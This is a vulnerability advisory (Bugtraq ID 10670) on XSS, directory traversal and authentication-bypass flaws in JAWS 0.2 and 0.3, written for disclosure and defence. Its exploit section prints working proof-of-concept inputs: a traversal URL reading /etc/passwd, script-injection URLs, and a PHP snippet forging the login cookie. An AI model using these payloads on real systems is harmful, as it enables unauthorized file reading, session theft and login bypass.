JAWS Multiple Input Validation Vulnerabilities

BID:10670

Info

JAWS Multiple Input Validation Vulnerabilities

Bugtraq ID: 10670
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 06 2004 12:00AM
Updated: Jul 06 2004 12:00AM
Credit: Discovery of these vulnerabilities is credited to Fernando Quintero <[email protected]>.
Vulnerable: JAWS JAWS 0.3
JAWS JAWS 0.2
Not Vulnerable:

Discussion

JAWS Multiple Input Validation Vulnerabilities

JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

JAWS is prone to a cross-site scripting vulnerability.

This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.

JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.

An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

Exploit / POC

JAWS Multiple Input Validation Vulnerabilities

The following examples are available:
http://www.example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<b>bold letter</b>
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script>

//BEGIN

//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path
to jaws');
?>

//END

Solution / Fix

JAWS Multiple Input Validation Vulnerabilities

Solution:
The vendor has released a security fix to address the file disclosure issue:


JAWS JAWS 0.3

References

JAWS Multiple Input Validation Vulnerabilities

References:

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